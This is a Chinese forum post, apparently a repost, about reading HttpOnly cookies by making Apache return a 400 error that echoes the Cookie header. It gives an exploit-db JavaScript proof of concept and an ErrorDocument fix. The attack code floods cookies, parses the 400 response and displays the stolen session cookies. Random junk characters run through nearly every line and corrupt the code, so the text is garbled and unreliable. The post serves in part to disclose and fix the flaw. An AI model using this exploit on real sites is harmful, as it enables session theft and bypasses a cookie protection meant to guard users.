很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
2 d* O5 M3 q' {1 W4 Y
: T$ J. z. D1 I( z- p+ S: m用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
" r8 g& V# `; d& c - E0 C. v' V# C' Q7 B) G9 o
' ~5 x1 J3 I: c$ x# i
// http://www.exploit-db.com/exploits/18442/" c) y' p5 H2 K4 s7 K- ]- A
function setCookies (good) {
4 y& E1 _6 U E4 G0 j// Construct string for cookie value) }+ h' _( g- p
var str = "";
% O) c+ q9 U& k+ I! K- x* G3 vfor (var i=0; i< 819; i++) {
1 p b5 t% _1 T( W: h2 K' kstr += "x";
) ?. t& |" F- s) A3 z}
@! @# M) x6 H6 A" ?1 j+ [# n) _// Set cookies
6 h7 n7 D3 P, ?; Dfor (i = 0; i < 10; i++) {' ?' b2 e- z6 w$ @/ Q% P }
// Expire evil cookie
6 V1 j) X4 k4 ]$ v, [& Tif (good) {
+ ?9 X+ A" d) q0 ~, pvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
# C: L, B: f3 C, ]6 U" K8 Y}
3 L1 C# X, w. t5 ?! h; q/ h6 N+ B+ x// Set evil cookie9 y& [: d* u7 y1 [9 M& c
else {
( T: y: A* O) R+ D1 svar cookie = "xss"+i+"="+str+";path=/";6 Z7 { S% T1 H$ x A# U$ C& A
}6 N% |0 A9 {8 C* l5 a; N- ~$ @
document.cookie = cookie;1 R: l& G' ^5 B0 h! z- h; h
}7 R, {/ Z- j+ p' y' g! h3 j: s, `
}; ^' J4 y0 F# e6 z3 ?, }4 x* O
function makeRequest() {
& s) c8 w" r( ~* N" {: gsetCookies();
$ J( X0 C/ V) B: l* @function parseCookies () {
! w& I2 p( ~5 Z( xvar cookie_dict = {};
5 C4 q& C$ I, X- v// Only react on 400 status
3 e1 D# ?! j1 ~, c1 bif (xhr.readyState === 4 && xhr.status === 400) {" x3 K7 o; R! Y6 p4 j5 t [
// Replace newlines and match <pre> content8 I6 S8 |& }/ z) C
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
: g8 r. O2 B( v8 d* V; Oif (content.length) { x8 q& x& X5 c& Q
// Remove Cookie: prefix2 a* G7 O9 c# N( d! t
content = content[1].replace("Cookie: ", "");
# {7 J+ u3 X0 R5 L. a# A6 nvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
+ c6 Q8 Y8 z4 _0 |// Add cookies to object
5 R6 K3 P5 R9 H2 tfor (var i=0; i<cookies.length; i++) {
5 R; Y' {2 p" W" r7 p; C% W7 [var s_c = cookies.split('=',2);
7 r. }, n/ u5 y2 Wcookie_dict[s_c[0]] = s_c[1];
9 ]9 | L# u( k7 t, R) K}
- N. U, f; |: [6 \: q; Z: v- ^, {}! z6 s; Q/ [+ P: a+ r g
// Unset malicious cookies
6 \5 _9 J+ H' q/ ZsetCookies(true);* h& U: H- P, q$ W& H. U6 N
alert(JSON.stringify(cookie_dict));
) O# w; Y2 c+ j7 b l9 K* a}1 z4 U4 d) s1 C( y$ p
}# r6 I. N7 ~( ^4 ^. R1 f
// Make XHR request* Q0 ?7 p9 W& J# P6 a! T7 _9 X
var xhr = new XMLHttpRequest();! _) l* q V/ _% U$ f1 K- @
xhr.onreadystatechange = parseCookies;6 K, z7 t- _6 V% D& U& F
xhr.open("GET", "/", true);+ h% E4 V$ d% O) L
xhr.send(null);6 `( J% b/ E$ N) @6 V& @
}
% K& l6 `1 K2 B6 _+ H/ cmakeRequest();! D6 a& v9 J* O, i, K d! c
) F1 b. Z$ {! a2 W7 Z' `( q你就能看见华丽丽的400错误包含着cookie信息。0 w% u( ] X L
2 r# ?0 \2 n- v1 K1 F v% q
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
8 b w. [- t) K4 V: c S1 I& ]3 g$ y0 s8 q7 {% Y1 c9 W1 @" M
修复方案:
" b5 W' r9 G: Y; U/ c, T% n) s! ^" B, h o( {* A Y% O
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下& X+ w, Q! l. q' C2 N: ~
- a; x8 \4 E) _( A% V7 h j
In the event of a problem or error, Apachecan be configured to do one of four things,% [- v) A3 ~8 ` I5 h! }3 d) v
% M. q+ M' x9 H1 X6 w3 u5 s1. output asimple hardcoded error message输出一个简单生硬的错误代码信息+ @! d. s. O) W4 R
2. output acustomized message输出一段信息/ i3 D B ]/ O/ f. a
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
( ]% p- h& S9 k" d4. redirect to an external URL to handle theproblem/error转向一个外部URL) D; T, e, g/ F
9 m& r# k+ d) Y j
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
/ K5 G: i7 W2 D
! n0 k V! l9 \* M" pApache配置:0 s1 Y' C( N3 i* U2 `# ^
0 D X3 F" ~+ L& Z& V& k+ V
ErrorDocument400 " security test"
2 y6 C% Z7 j# Y, a# L2 L% m) X1 r4 _9 ]; J- H
当然,升级apache到最新也可:)。
" M0 S$ t1 O! W- \$ Z
6 R* V, }3 c$ ]0 l6 d: \1 Z) M参考:http://httpd.apache.org/security/vulnerabilities_22.html
. ~. j' y2 @* V0 W2 f* P& ?$ j
6 z9 J9 {4 M9 B( h6 t |